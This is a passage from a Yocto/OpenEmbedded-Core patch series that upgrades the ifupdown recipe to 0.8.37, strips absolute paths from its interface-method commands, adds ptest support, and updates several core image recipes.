-- /bin/ip addr del %address%[[/%netmask%]] [[broadcast %broadcast%]] \
-+ [[ ip route del default via %gateway% [[metric %metric%]] dev %iface% 2>&1 1>/dev/null || true ]]
-+ ip addr del %address%[[/%netmask%]] [[broadcast %broadcast%]] \
- [[peer %pointopoint%]] [[scope %scope%]] dev %iface% label %iface%
-- /bin/ip link set dev %iface% down \
-+ ip link set dev %iface% down \
- if (iface_is_link())
-
- method manual
-@@ -63,12 +63,12 @@ method manual
- hwaddress cleanup_hwaddress
-
- up
-- [[/bin/ip link set dev %iface% mtu %mtu%]]
-- [[/bin/ip link set dev %iface% address %hwaddress%]]
-- /bin/ip link set dev %iface% up 2>/dev/null || true
-+ [[ip link set dev %iface% mtu %mtu%]]
-+ [[ip link set dev %iface% address %hwaddress%]]
-+ ip link set dev %iface% up 2>/dev/null || true
-
- down
-- /bin/ip link set dev %iface% down 2>/dev/null || true \
-+ ip link set dev %iface% down 2>/dev/null || true \
- if (iface_is_link() && !do_all)
-
- method dhcp
-@@ -93,33 +93,33 @@ method dhcp
- hwaddress cleanup_hwaddress
-
- up
-- [[/bin/ip link set dev %iface% address %hwaddress%]]
-- /sbin/dhclient -4 -v -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
-+ [[ip link set dev %iface% address %hwaddress%]]
-+ dhclient -4 -v -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
- [[-e IF_METRIC=%metric%]] \
- if (execable("/sbin/dhclient"))
-- /sbin/pump -i %iface% [[-h %hostname%]] [[-l %leasehours%]] \
-+ pump -i %iface% [[-h %hostname%]] [[-l %leasehours%]] \
- elsif (execable("/sbin/pump"))
-- /sbin/udhcpc -n -p /run/udhcpc.%iface%.pid -i %iface% [[-x hostname:%hostname%]] \
-+ udhcpc -n -p /run/udhcpc.%iface%.pid -i %iface% [[-x hostname:%hostname%]] \
- elsif (execable("/sbin/udhcpc"))
-- /sbin/dhcpcd [[-h %hostname%]] [[-i %vendor%]] [[-I %client%]] \
-+ dhcpcd [[-h %hostname%]] [[-i %vendor%]] [[-I %client%]] \
- [[-l %leasetime%]] [[-m %metric%]] %iface% \
- elsif (execable("/sbin/dhcpcd"))
- echo 'No DHCP client software found!' >/dev/stderr; false \
- elsif (1)
-
- down
-- /sbin/dhclient -4 -v -r -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
-+ dhclient -4 -v -r -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
- if (execable("/sbin/dhclient"))
-- /sbin/pump -i %iface% -r \
-+ pump -i %iface% -r \
- elsif (execable("/sbin/pump"))
- if test -f /run/udhcpc.%iface%.pid; then kill -USR2 $(/bin/cat /run/udhcpc.%iface%.pid); kill -TERM $(/bin/cat /run/udhcpc.%iface%.pid); fi \
- elsif (execable("/sbin/udhcpc"))
-- /sbin/dhcpcd -k %iface% \
-+ dhcpcd -k %iface% \
- elsif (execable("/sbin/dhcpcd"))
- echo 'No DHCP client software found!' >/dev/stderr; false \
- elsif (1)
-
-- /bin/ip link set dev %iface% down \
-+ ip link set dev %iface% down \
- if (iface_is_link())
-
- method bootp
-@@ -134,11 +134,11 @@ method bootp
- whatever it really is.
-
- up
-- /sbin/bootpc [[--bootfile %bootfile%]] --dev %iface% [[--server %server%]] \
-+ bootpc [[--bootfile %bootfile%]] --dev %iface% [[--server %server%]] \
- [[--hwaddr %hwaddr%]] --returniffail --serverbcast
-
- down
-- /bin/ip link set dev %iface% down \
-+ ip link set dev %iface% down \
- if (iface_is_link())
-
- method tunnel
-@@ -158,13 +158,13 @@ method tunnel
- ttl time -- TTL setting
- mtu size -- MTU size
- up
-- /bin/ip tunnel add %iface% mode %mode% remote %endpoint% [[local %local%]] \
-+ ip tunnel add %iface% mode %mode% remote %endpoint% [[local %local%]] \
- [[ttl %ttl%]]
-- /bin/ip link set %iface% up [[mtu %mtu%]]
-- /bin/ip addr add %address%/%netmask% dev %iface% [[peer %dstaddr%]]
-- [[ /bin/ip route add default via %gateway% [[metric %metric%]] dev %iface% onlink ]]
-+ ip link set %iface% up [[mtu %mtu%]]
-+ ip addr add %address%/%netmask% dev %iface% [[peer %dstaddr%]]
-+ [[ ip route add default via %gateway% [[metric %metric%]] dev %iface% onlink ]]
- down
-- /bin/ip tunnel del %iface%
-+ ip tunnel del %iface%
-
- method ppp
- description
-@@ -175,9 +175,9 @@ method ppp
- unit number -- Use /number/ as the ppp unit number.
- options string -- Pass /string/ as additional options to pon.
- up
-- /usr/bin/pon [[%provider%]] [[unit %unit%]] [[%options%]]
-+ pon [[%provider%]] [[unit %unit%]] [[%options%]]
- down
-- /usr/bin/poff [[%provider%]]
-+ poff [[%provider%]]
-
- method wvdial
- description
-@@ -186,10 +186,10 @@ method wvdial
- options
- provider name -- Use /name/ as the provider (from /etc/wvdial.conf).
- up
-- /sbin/start-stop-daemon --start -x /usr/bin/wvdial \
-+ start-stop-daemon --start -x /usr/bin/wvdial \
- -p /run/wvdial.%iface%.pid -b -m -- [[ %provider% ]]
- down
-- /sbin/start-stop-daemon --stop -x /usr/bin/wvdial \
-+ start-stop-daemon --stop -x /usr/bin/wvdial \
- -p /run/wvdial.%iface%.pid -s 2
-
-
-@@ -200,9 +200,9 @@ method ipv4ll
- known as APIPA or IPAC, and often colloquially referred to
- as "Zeroconf address".
- up
-- /usr/sbin/avahi-autoipd -D %iface%
-+ avahi-autoipd -D %iface%
- down
-- /usr/sbin/avahi-autoipd --kill %iface%
-+ avahi-autoipd --kill %iface%
-
- architecture kfreebsd
-
-@@ -211,11 +211,11 @@ method loopback
- This method may be used to define the IPv4 loopback interface.
-
- up
-- /sbin/ifconfig %iface% 127.0.0.1 up \
-+ ifconfig %iface% 127.0.0.1 up \
- if (!iface_is_lo())
-
- down
-- /sbin/ifconfig %iface% down \
-+ ifconfig %iface% down \
- if (!iface_is_lo())
-
- method static
-@@ -238,15 +238,15 @@ method static
- hwaddress cleanup_hwaddress
-
- up
-- [[ /sbin/ifconfig %iface% link %hwaddress%]]
-- /sbin/ifconfig %iface% %address% [[netmask %netmask%]] [[broadcast %broadcast%]] \
-+ [[ ifconfig %iface% link %hwaddress%]]
-+ ifconfig %iface% %address% [[netmask %netmask%]] [[broadcast %broadcast%]] \
- [[pointopoint %pointopoint%]] [[media %media%]] [[mtu %mtu%]] \
- up
-- [[ /sbin/route add default %gateway% ]]
-+ [[ route add default %gateway% ]]
-
- down
-- [[ /sbin/route del default %gateway% 2>&1 1>/dev/null || true ]]
-- /sbin/ifconfig %iface% down
-+ [[ route del default %gateway% 2>&1 1>/dev/null || true ]]
-+ ifconfig %iface% down
-
- method manual
- description
-@@ -279,30 +279,30 @@ method dhcp
- hwaddress cleanup_hwaddress
-
- up
-- [[/sbin/ifconfig %iface% link %hwaddress%]]
-- /sbin/dhclient -4 -v -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
-+ [[ifconfig %iface% link %hwaddress%]]
-+ dhclient -4 -v -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
- [[-e IF_METRIC=%metric%]] \
- if (execable("/sbin/dhclient"))
-- /sbin/udhcpc -n -p /run/udhcpc.%iface%.pid -i %iface% [[-H %hostname%]] \
-+ udhcpc -n -p /run/udhcpc.%iface%.pid -i %iface% [[-H %hostname%]] \
- [[-c %client%]] \
- elsif (execable("/sbin/udhcpc"))
-- /sbin/dhcpcd [[-h %hostname%]] [[-i %vendor%]] [[-I %client%]] \
-+ dhcpcd [[-h %hostname%]] [[-i %vendor%]] [[-I %client%]] \
- [[-l %leasetime%]] %iface% \
- elsif (execable("/sbin/dhcpcd"))
- echo 'No DHCP client software found!' >/dev/stderr; false \
- elsif (1)
-
- down
-- /sbin/dhclient -4 -v -r -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
-+ dhclient -4 -v -r -pf /run/dhclient.%iface%.pid -lf /var/lib/dhcp/dhclient.%iface%.leases -I -df /var/lib/dhcp/dhclient6.%iface%.leases %iface% \
- if (execable("/sbin/dhclient"))
- if test -f /run/udhcpc.%iface%.pid; then kill -USR2 $(/bin/cat /run/udhcpc.%iface%.pid); kill -TERM $(/bin/cat /run/udhcpc.%iface%.pid); fi \
- elsif (execable("/sbin/udhcpc"))
-- /sbin/dhcpcd -k %iface% \
-+ dhcpcd -k %iface% \
- elsif (execable("/sbin/dhcpcd"))
- echo 'No DHCP client software found!' >/dev/stderr; false \
- elsif (1)
-
-- /sbin/ifconfig %iface% down
-+ ifconfig %iface% down
-
- method bootp
- description
-@@ -316,11 +316,11 @@ method bootp
- whatever it really is.
-
- up
-- /sbin/bootpc [[--bootfile %bootfile%]] --dev %iface% [[--server %server%]] \
-+ bootpc [[--bootfile %bootfile%]] --dev %iface% [[--server %server%]] \
- [[--hwaddr %hwaddr%]] --returniffail --serverbcast
-
- down
-- /sbin/ifconfig %iface% down
-+ ifconfig %iface% down
-
- method ppp
- description
-@@ -331,9 +331,9 @@ method ppp
- unit number -- Use /number/ as the ppp unit number.
- options string -- Pass /string/ as additional options to pon.
- up
-- /usr/bin/pon [[%provider%]] [[unit %unit%]] [[%options%]]
-+ pon [[%provider%]] [[unit %unit%]] [[%options%]]
- down
-- /usr/bin/poff [[%provider%]]
-+ poff [[%provider%]]
-
- method wvdial
- description
-@@ -342,10 +342,10 @@ method wvdial
- options
- provider name -- Use /name/ as the provider (from /etc/wvdial.conf).
- up
-- /sbin/start-stop-daemon --start -x /usr/bin/wvdial \
-+ start-stop-daemon --start -x /usr/bin/wvdial \
- -p /run/wvdial.%iface%.pid -b -m -- [[ %provider% ]]
- down
-- /sbin/start-stop-daemon --stop -x /usr/bin/wvdial \
-+ start-stop-daemon --stop -x /usr/bin/wvdial \
- -p /run/wvdial.%iface%.pid -s 2
-
-
-@@ -356,9 +356,9 @@ method ipv4ll
- known as APIPA or IPAC, and often colloquially referred to
- as "Zeroconf address".
- up
-- /usr/sbin/avahi-autoipd -D %iface%
-+ avahi-autoipd -D %iface%
- down
-- /usr/sbin/avahi-autoipd --kill %iface%
-+ avahi-autoipd --kill %iface%
- architecture hurd
-
- method loopback
-@@ -432,23 +432,23 @@ method dhcp
-
- up
- [[Warning: Option hwaddress: %hwaddress% not yet supported]]
-- /sbin/dhclient -4 -v -pf /run/dhclient.%iface///.%.pid -lf /var/lib/dhcp/dhclient.%iface///.%.leases -I -df /var/lib/dhcp/dhclient6.%iface///.%.leases %iface% \
-+ dhclient -4 -v -pf /run/dhclient.%iface///.%.pid -lf /var/lib/dhcp/dhclient.%iface///.%.leases -I -df /var/lib/dhcp/dhclient6.%iface///.%.leases %iface% \
- if (execable("/sbin/dhclient"))
-- /sbin/udhcpc -n -p /run/udhcpc.%iface///.%.pid -i %iface% [[-H %hostname%]] \
-+ udhcpc -n -p /run/udhcpc.%iface///.%.pid -i %iface% [[-H %hostname%]] \
- [[-c %client%]] \
- elsif (execable("/sbin/udhcpc"))
-- /sbin/dhcpcd [[-h %hostname%]] [[-i %vendor%]] [[-I %client%]] \
-+ dhcpcd [[-h %hostname%]] [[-i %vendor%]] [[-I %client%]] \
- [[-l %leasetime%]] %iface% \
- elsif (execable("/sbin/dhcpcd"))
- echo 'No DHCP client software found!' >/dev/stderr; false \
- elsif (1)
-
- down
-- /sbin/dhclient -4 -v -r -pf /run/dhclient.%iface///.%.pid -lf /var/lib/dhcp/dhclient.%iface///.%.leases -I -df /var/lib/dhcp/dhclient6.%iface///.%.leases %iface% \
-+ dhclient -4 -v -r -pf /run/dhclient.%iface///.%.pid -lf /var/lib/dhcp/dhclient.%iface///.%.leases -I -df /var/lib/dhcp/dhclient6.%iface///.%.leases %iface% \
- if (execable("/sbin/dhclient"))
- if test -f /run/udhcpc.%iface///.%.pid; then kill -USR2 $(/bin/cat /run/udhcpc.%iface///.%.pid); kill -TERM $(/bin/cat /run/udhcpc.%iface///.%.pid); fi \
- elsif (execable("/sbin/udhcpc"))
-- /sbin/dhcpcd -k %iface% \
-+ dhcpcd -k %iface% \
- elsif (execable("/sbin/dhcpcd"))
- echo 'No DHCP client software found!' >/dev/stderr; false \
- elsif (1)
-@@ -482,9 +482,9 @@ method ppp
- unit number -- Use /number/ as the ppp unit number.
- options string -- Pass /string/ as additional options to pon.
- up
-- /usr/bin/pon [[%provider%]] [[unit %unit%]] [[%options%]]
-+ pon [[%provider%]] [[unit %unit%]] [[%options%]]
- down
-- /usr/bin/poff [[%provider%]]
-+ poff [[%provider%]]
-
- method wvdial
- description
-@@ -493,10 +493,10 @@ method wvdial
- options
- provider name -- Use /name/ as the provider (from /etc/wvdial.conf).
- up
-- /sbin/start-stop-daemon --start -x /usr/bin/wvdial \
-+ start-stop-daemon --start -x /usr/bin/wvdial \
- -p /run/wvdial.%iface///.%.pid -b -m -- [[ %provider% ]]
- down
-- /sbin/start-stop-daemon --stop -x /usr/bin/wvdial \
-+ start-stop-daemon --stop -x /usr/bin/wvdial \
- -p /run/wvdial.%iface///.%.pid -s 2
-
-
-@@ -507,6 +507,6 @@ method ipv4ll
- known as APIPA or IPAC, and often colloquially referred to
- as "Zeroconf address".
- up
-- /usr/sbin/avahi-autoipd -D %iface%
-+ avahi-autoipd -D %iface%
- down
-- /usr/sbin/avahi-autoipd --kill %iface%
-+ avahi-autoipd --kill %iface%
---
-2.17.1
-
diff --git a/meta/recipes-core/ifupdown/files/run-ptest b/meta/recipes-core/ifupdown/files/run-ptest
new file mode 100644
index 0000000000..8694042392
--- /dev/null
+++ b/meta/recipes-core/ifupdown/files/run-ptest
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+CURDIR=$(dirname `readlink -f $0`)
+cd $CURDIR/tests && ./testbuild-linux
diff --git a/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch b/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
new file mode 100644
index 0000000000..ea88a9086a
--- /dev/null
+++ b/meta/recipes-core/ifupdown/files/tweak-ptest-script.patch
@@ -0,0 +1,54 @@
+Tweak tests of ifupdown to make it work with oe-core ptest framework.
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+---
+ tests/testbuild-linux | 11 ++++++-----
+ 1 file changed, 6 insertions(+), 5 deletions(-)
+
+diff --git a/tests/testbuild-linux b/tests/testbuild-linux
+index 5f148eb..d9b1698 100755
+--- a/tests/testbuild-linux
++++ b/tests/testbuild-linux
+@@ -1,6 +1,7 @@
+ #!/bin/sh -e
+
+-dir=tests/linux
++curdir=$(dirname `readlink -f $0`)
++dir=$curdir/linux
+
+ result=true
+ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+@@ -12,7 +13,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+ echo "Testcase $test: $args"
+
+ exitcode=0
+- ./ifup -v --no-act-commands --force -i $dir/testcase.$test --state-dir=$dir/state.$test $args \
++ ifup -v --no-act-commands --force -i $dir/testcase.$test --state-dir=$dir/state.$test $args \
+ >$dir/up-res-out.$test 2>$dir/up-res-err.$test || exitcode=$?
+
+ (echo "exit code: $exitcode";
+@@ -20,7 +21,7 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+ echo "====stderr===="; cat $dir/up-res-err.$test) > $dir/up-res.$test
+
+ exitcode=0
+- ./ifdown -v --no-act-commands --force -i $dir/testcase.$test --state-dir=$dir/state.$test $args \
++ ifdown -v --no-act-commands --force -i $dir/testcase.$test --state-dir=$dir/state.$test $args \
+ >$dir/down-res-out.$test 2>$dir/down-res-err.$test || exitcode=$?
+
+ (echo "exit code: $exitcode";
+@@ -28,9 +29,9 @@ for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+ echo "====stderr===="; cat $dir/down-res-err.$test) > $dir/down-res.$test
+
+ if diff -ub $dir/up.$test $dir/up-res.$test && diff -ub $dir/down.$test $dir/down-res.$test; then
+- echo "(okay)"
++ echo "PASS: $test"
+ else
+- echo "(failed)"
++ echo "FAIL: $test"
+ result=false
+ fi
+ echo "=========="
+--
+2.17.1
diff --git a/meta/recipes-core/ifupdown/ifupdown_0.8.22.bb b/meta/recipes-core/ifupdown/ifupdown_0.8.22.bb
deleted file mode 100644
index bd0989e885..0000000000
--- a/meta/recipes-core/ifupdown/ifupdown_0.8.22.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "ifupdown: basic ifup and ifdown used by initscripts"
-DESCRIPTION = "High level tools to configure network interfaces \
-This package provides the tools ifup and ifdown which may be used to \
-configure (or, respectively, deconfigure) network interfaces, based on \
-the file /etc/network/interfaces."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-SRC_URI = "git://salsa.debian.org/debian/ifupdown.git;protocol=https \
- file://defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch \
- file://inet-6-.defn-fix-inverted-checks-for-loopback.patch \
- file://99_network \
- file://0001-Define-FNM_EXTMATCH-for-musl.patch \
- "
-SRCREV = "ab5a0f464e53e172316a5ca8b5dcdc49e8848999"
-
-S = "${WORKDIR}/git"
-
-
-inherit update-alternatives
-
-do_compile () {
- chmod a+rx *.pl *.sh
- oe_runmake 'CC=${CC}' "CFLAGS=${CFLAGS} -Wall -W -D'IFUPDOWN_VERSION=\"${PV}\"'"
-}
-
-do_install () {
- install -d ${D}${mandir}/man8 \
- ${D}${mandir}/man5 \
- ${D}${base_sbindir}
-
- # If volatiles are used, then we'll also need /run/network there too.
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_network ${D}/etc/default/volatiles
-
- install -m 0755 ifup ${D}${base_sbindir}/
- ln ${D}${base_sbindir}/ifup ${D}${base_sbindir}/ifdown
- install -m 0644 ifup.8 ${D}${mandir}/man8
- install -m 0644 interfaces.5 ${D}${mandir}/man5
- cd ${D}${mandir}/man8 && ln -s ifup.8 ifdown.8
-}
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "ifup ifdown"
-
-ALTERNATIVE_LINK_NAME[ifup] = "${base_sbindir}/ifup"
-ALTERNATIVE_LINK_NAME[ifdown] = "${base_sbindir}/ifdown"
diff --git a/meta/recipes-core/ifupdown/ifupdown_0.8.37.bb b/meta/recipes-core/ifupdown/ifupdown_0.8.37.bb
new file mode 100644
index 0000000000..57d4152a39
--- /dev/null
+++ b/meta/recipes-core/ifupdown/ifupdown_0.8.37.bb
@@ -0,0 +1,57 @@
+SUMMARY = "ifupdown: basic ifup and ifdown used by initscripts"
+HOMEPAGE = "https://salsa.debian.org/debian/ifupdown"
+DESCRIPTION = "High level tools to configure network interfaces \
+This package provides the tools ifup and ifdown which may be used to \
+configure (or, respectively, deconfigure) network interfaces, based on \
+the file /etc/network/interfaces."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+SRC_URI = "git://salsa.debian.org/debian/ifupdown.git;protocol=https;branch=master \
+ file://defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch \
+ file://99_network \
+ file://0001-Define-FNM_EXTMATCH-for-musl.patch \
+ file://0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch \
+ file://run-ptest \
+ file://0001-ifupdown-skip-wrong-test-case.patch \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'file://tweak-ptest-script.patch', '', d)} \
+ "
+SRCREV = "2b4138f36ce3ba37186aa01b502273e0c39ab518"
+
+S = "${WORKDIR}/git"
+
+
+inherit ptest update-alternatives
+
+do_compile () {
+ chmod a+rx *.pl *.sh
+ oe_runmake 'CC=${CC}' "CFLAGS=${CFLAGS} -Wall -W -D'IFUPDOWN_VERSION=\"${PV}\"'"
+}
+
+do_install () {
+ install -d ${D}${mandir}/man8 \
+ ${D}${mandir}/man5 \
+ ${D}${base_sbindir}
+
+ # If volatiles are used, then we'll also need /run/network there too.
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_network ${D}/etc/default/volatiles
+
+ install -m 0755 ifup ${D}${base_sbindir}/
+ ln ${D}${base_sbindir}/ifup ${D}${base_sbindir}/ifdown
+ install -m 0644 ifup.8 ${D}${mandir}/man8
+ install -m 0644 interfaces.5 ${D}${mandir}/man5
+ cd ${D}${mandir}/man8 && ln -s ifup.8 ifdown.8
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/tests/testbuild-linux ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/linux ${D}${PTEST_PATH}/tests/
+}
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "ifup ifdown"
+
+ALTERNATIVE_LINK_NAME[ifup] = "${base_sbindir}/ifup"
+ALTERNATIVE_LINK_NAME[ifdown] = "${base_sbindir}/ifdown"
diff --git a/meta/recipes-core/images/build-appliance-image_15.0.0.bb b/meta/recipes-core/images/build-appliance-image_15.0.0.bb
index 1d74ee5198..73fdd5c791 100644
--- a/meta/recipes-core/images/build-appliance-image_15.0.0.bb
+++ b/meta/recipes-core/images/build-appliance-image_15.0.0.bb
@@ -6,7 +6,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
IMAGE_INSTALL = "packagegroup-core-boot packagegroup-core-ssh-openssh packagegroup-self-hosted \
- kernel-dev kernel-devsrc connman connman-plugin-ethernet dhcp-client \
+ kernel-dev kernel-devsrc connman connman-plugin-ethernet dhcpcd \
tzdata python3-pip perl-misc"
IMAGE_FEATURES += "x11-base package-management splash"
@@ -20,12 +20,12 @@ IMAGE_ROOTFS_EXTRA_SPACE = "41943040"
APPEND += "rootfstype=ext4 quiet"
DEPENDS = "zip-native python3-pip-native"
-IMAGE_FSTYPES = "wic.vmdk"
+IMAGE_FSTYPES = "wic.vmdk wic.vhd wic.vhdx"
-inherit core-image module-base setuptools3
+inherit core-image setuptools3
-SRCREV ?= "8181681b33da272fef83276104d5c7a93f84da46"
-SRC_URI = "git://git.yoctoproject.org/poky \
+SRCREV ?= "0d518533e2794586234e69c80b65ca453b1b33b9"
+SRC_URI = "git://git.yoctoproject.org/poky;branch=master \
file://Yocto_Build_Appliance.vmx \
file://Yocto_Build_Appliance.vmxf \
file://README_VirtualBox_Guest_Additions.txt \
@@ -34,7 +34,7 @@ SRC_URI = "git://git.yoctoproject.org/poky \
RECIPE_NO_UPDATE_REASON = "Recipe is recursive and handled as part of the release process"
BA_INCLUDE_SOURCES ??= "0"
-IMAGE_CMD_ext4_append () {
+IMAGE_CMD:ext4:append () {
# We don't need to reserve much space for root, 0.5% is more than enough
tune2fs -m 0.5 ${IMGDEPLOYDIR}/${IMAGE_NAME}.rootfs.ext4
}
@@ -61,12 +61,6 @@ fakeroot do_populate_poky_src () {
# Place the README_VirtualBox_Toaster file in builders home folder.
cp ${WORKDIR}/README_VirtualBox_Toaster.txt ${IMAGE_ROOTFS}/home/builder/
- # Create a symlink, needed for out-of-tree kernel modules build
- if [ ! -e ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build ]; then
- rm -f ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build
- lnr ${IMAGE_ROOTFS}${KERNEL_SRC_PATH} ${IMAGE_ROOTFS}/lib/modules/${KERNEL_VERSION}/build
- fi
-
echo "INHERIT += \"rm_work\"" >> ${IMAGE_ROOTFS}/home/builder/poky/build/conf/auto.conf
echo "export LC_ALL=en_US.utf8" >> ${IMAGE_ROOTFS}/home/builder/.bashrc
@@ -93,7 +87,7 @@ fakeroot do_populate_poky_src () {
# Load tap/tun at startup
rm -f ${IMAGE_ROOTFS}/sbin/iptables
- lnr ${IMAGE_ROOTFS}/usr/sbin/iptables ${IMAGE_ROOTFS}/sbin/iptables
+ ln -rs ${IMAGE_ROOTFS}/usr/sbin/iptables ${IMAGE_ROOTFS}/sbin/iptables
echo "tun" >> ${IMAGE_ROOTFS}/etc/modules
# Use Clearlooks GTK+ theme
@@ -115,6 +109,8 @@ fakeroot do_populate_poky_src () {
}
IMAGE_PREPROCESS_COMMAND += "do_populate_poky_src; "
+# For pip usage above
+do_image[network] = "1"
addtask rootfs after do_unpack
@@ -129,6 +125,8 @@ create_bundle_files () {
mkdir -p Yocto_Build_Appliance
cp *.vmx* Yocto_Build_Appliance
ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vmdk Yocto_Build_Appliance/Yocto_Build_Appliance.vmdk
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vhdx Yocto_Build_Appliance/Yocto_Build_Appliance.vhdx
+ ln -sf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.wic.vhd Yocto_Build_Appliance/Yocto_Build_Appliance.vhd
zip -r ${IMGDEPLOYDIR}/Yocto_Build_Appliance-${DATETIME}.zip Yocto_Build_Appliance
ln -sf Yocto_Build_Appliance-${DATETIME}.zip ${IMGDEPLOYDIR}/Yocto_Build_Appliance.zip
}
diff --git a/meta/recipes-core/images/core-image-minimal-initramfs.bb b/meta/recipes-core/images/core-image-minimal-initramfs.bb
index 7df8ab1ebd..664fe7310e 100644
--- a/meta/recipes-core/images/core-image-minimal-initramfs.bb
+++ b/meta/recipes-core/images/core-image-minimal-initramfs.bb
@@ -17,6 +17,7 @@ PACKAGE_INSTALL = "${INITRAMFS_SCRIPTS} ${VIRTUAL-RUNTIME_base-utils} udev base-
IMAGE_FEATURES = ""
export IMAGE_BASENAME = "${MLPREFIX}core-image-minimal-initramfs"
+IMAGE_NAME_SUFFIX ?= ""
IMAGE_LINGUAS = ""
LICENSE = "MIT"
@@ -27,5 +28,5 @@ inherit core-image
IMAGE_ROOTFS_SIZE = "8192"
IMAGE_ROOTFS_EXTRA_SPACE = "0"
-# Use the same restriction as initramfs-live-install
-COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
+# Use the same restriction as initramfs-module-install
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
diff --git a/meta/recipes-core/images/core-image-minimal.bb b/meta/recipes-core/images/core-image-minimal.bb
index 4630026aa9..84343adcd8 100644
--- a/meta/recipes-core/images/core-image-minimal.bb
+++ b/meta/recipes-core/images/core-image-minimal.bb
@@ -9,4 +9,4 @@ LICENSE = "MIT"
inherit core-image
IMAGE_ROOTFS_SIZE ?= "8192"
-IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "" ,d)}"
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "", d)}"
diff --git a/meta/recipes-core/images/core-image-ptest-all.bb b/meta/recipes-core/images/core-image-ptest-all.bb
new file mode 100644
index 0000000000..1472451675
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest-all.bb
@@ -0,0 +1,25 @@
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+require core-image-minimal.bb
+require conf/distro/include/ptest-packagelists.inc
+
+DESCRIPTION += "Also includes ptest packages."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+# Include the full set of ptests
+IMAGE_INSTALL += "${PTESTS_FAST} ${PTESTS_SLOW}"
+
+# This image is sufficiently large (~1.8GB) that we need to be careful that it fits in a live
+# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
+# box) and explicitly add just 1100MB.
+# strace-ptest in particular needs more than 500MB
+IMAGE_OVERHEAD_FACTOR = "1.0"
+IMAGE_ROOTFS_EXTRA_SPACE = "1124288"
+
+# ptests need more memory than standard to avoid the OOM killer
+# also lttng-tools needs /tmp that has at least 2G
+QB_MEM = "-m 4096"
+
+# Sadly at the moment the full set of ptests is not robust enough and sporadically fails in random places
+PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-core/images/core-image-ptest-fast.bb b/meta/recipes-core/images/core-image-ptest-fast.bb
new file mode 100644
index 0000000000..40df274c4c
--- /dev/null
+++ b/meta/recipes-core/images/core-image-ptest-fast.bb
@@ -0,0 +1,24 @@
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "ptest"
+
+require core-image-minimal.bb
+require conf/distro/include/ptest-packagelists.inc
+
+# Include only fast (< 30 sec) ptests
+IMAGE_INSTALL += "${PTESTS_FAST}"
+
+DESCRIPTION += "Also includes ptest packages with fast execution times to allow for more automated QA."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+# This image is sufficiently large (~1.8GB) that it can't actually fit in a live
+# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
+# box) and explicitly add just 1500MB.
+# strace-ptest in particular needs more than 500MB
+IMAGE_OVERHEAD_FACTOR = "1.0"
+IMAGE_ROOTFS_EXTRA_SPACE = "1524288"
+
+# ptests need more memory than standard to avoid the OOM killer
+QB_MEM = "-m 1024"
+
